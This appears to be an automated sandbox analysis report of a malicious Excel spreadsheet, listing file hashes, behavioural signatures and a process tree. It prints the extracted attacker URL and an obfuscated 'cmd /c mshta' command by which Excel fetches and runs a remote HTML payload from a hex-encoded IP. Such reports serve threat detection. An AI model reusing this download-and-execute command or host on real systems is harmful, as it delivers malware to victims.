Analysis
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max time kernel
133s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 20:48
Behavioral task
behavioral1
Sample
ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls
Resource
win10v2004-20241007-en
General
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Target
ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls
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Size
142KB
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MD5
cf35dd57ccc743ae5aef84255b30ef70
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SHA1
0d39383fe20e21a41174191976386b1d93c51ddd
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SHA256
ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7
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SHA512
c3c2652136fac4be4b3d8dcbf0e782379a17427e5758e1ae3bee12b86bd21b677c4e1ca366d2f923a2610d1212a45ef36e4a600eca38ad7e48b04fc73d92028b
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SSDEEP
3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli
Malware Config
Extracted
http://185.7.214.7/fer/fer.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3200 3576 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 23 1544 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3576 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3576 EXCEL.EXE 3576 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE 3576 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3576 wrote to memory of 1984 3576 EXCEL.EXE splwow64.exe PID 3576 wrote to memory of 1984 3576 EXCEL.EXE splwow64.exe PID 3576 wrote to memory of 3200 3576 EXCEL.EXE cmd.exe PID 3576 wrote to memory of 3200 3576 EXCEL.EXE cmd.exe PID 3200 wrote to memory of 1544 3200 cmd.exe mshta.exe PID 3200 wrote to memory of 1544 3200 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ecc7d67a95a0bc100a6eebc60573de7ff556da84c43137adf9b23c6fbd5fb0d7.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1984
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
PID:1544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:4860
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD594d84ced19926ff41dae805ca241172a
SHA1244b15a0e88a03977d91b66db4b8f8f636c66220
SHA2561f73b8ae3c2345c6cb2f920fa3ad3e1e810fc7977fd7c47bbce58da651822ddc
SHA512f33dba20ee3e0fa571dae9cc7e0ec7ab566cab894e8489ad46a9e3760a42cfb8a862b125ce8d0c1c2baac392c6aa89ff5eb4c3bba468414b5f145c380b709d05